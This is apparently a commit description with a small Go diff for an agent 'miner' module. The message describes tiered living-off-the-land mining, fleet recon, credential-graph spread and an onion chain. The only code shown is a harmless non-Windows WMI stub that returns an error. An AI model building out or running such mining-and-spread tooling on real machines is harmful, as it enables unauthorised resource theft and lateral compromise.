Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/tier_wmi_stub.go

@@ -0,0 +1,9 @@
+//go:build !windows
+
+package miner
+
+import "fmt"
+
+func platformWMIProcessCreate(commandLine string) (uint32, error) {
+	return 0, fmt.Errorf("wmi tier requires windows")
+}